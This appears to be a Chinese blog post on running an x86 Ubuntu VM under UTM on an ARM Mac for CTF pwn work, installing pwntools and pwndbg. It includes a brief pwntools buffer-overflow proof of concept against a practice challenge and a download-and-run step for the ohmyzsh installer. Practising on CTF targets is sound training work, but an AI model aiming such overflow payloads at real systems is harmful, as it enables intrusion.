前一段时间ciscn线下赛半决赛一个go的题目,给了二进制程序,给了源码,但是因为go需要联网下包才能编译,不然是不行的,考虑patch二进制程序,当时没ida啥也没,程序也跑不起来没法本地调试 我直接** 最后还是用了队友的windows去给题目解了的,然后我也一直在找arm下跑x86的方案,也就总结了一下,整理发出来
mac os 版本为13.4.1
utm版本为4.2.5
安装utm的环境就不在多说了,直接跳过,由于网上都是装desktop版本的,然后再去卸载桌面的那种方式,我队友告诉我会很卡装了很久,我就寻思找了个server 的镜像
笔者这里下载是2210,其他版本应该也一样 osboxes 封装了很多现成的环境,直接拉就行了而且还写了密码
Username: osboxes Password: osboxes.org Open VM Tools: Not Installed Keyboard Layout: US (Qwerty) VMware Compatibility: Version 10+ https://www.osboxes.org/ubuntu-server/#ubuntu-server-20-04-4-info
下载完成后解压得到vmdk
然后配合qemu给他转换为qcow2
qemu-img convert -f vmdk -O qcow2 Ubuntu\ Server\ 22.10\ \(64bit\).vmdk Ubuntu2210.qcow2
选择模拟 选其他
默认
名字自定义
点击编辑
点击新建磁盘 导入qcow2就行了
到这基础的配置就完事了,登录进去,给个dhcp就有ip了这里可以自己去配置什么什么的都ok,然后直接ssh链接进去
apt install proxychains -y 安装下工具 ,这里是我存粹懒的换源了
然后clash开启下允许局域网连接
先去安装
proxychains apt update proxychains apt install python3-pip python3-dev -y proxychains pip3 install -U pip proxychains pip3 install pwntools proxychains apt install gdb proxychains git clone https://github.com/pwndbg/pwndbg proxychains ./setup.sh
这里给pwndbg也安装上去了
然后随意拉一个pwn的程序就行了,这里我拉的是
https://buuoj.cn/challenges#rip
gdb成功运行起来,然后我们测试下poc
from pwn import * p=remote("node4.buuoj.cn",xxx) payload='A'*15+'B'*8+p64(0x401186+1).decode("iso-8859-1") p.sendline(payload) p.interactive()
proxychains apt install zsh -y proxychains wget https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh proxychains sh install.sh
到这就配置完成了
给我们本地的key直接写到ubuntu
vim ~/.ssh/config
Host pwn
HostName 192.168.64.4
User root
都放到百度网盘了
链接: https://pan.baidu.com/s/1f1Tzwh5CximErgaLRCkToQ?pwd=wdg7 提取码: wdg7
--来自百度网盘超级会员v5的分享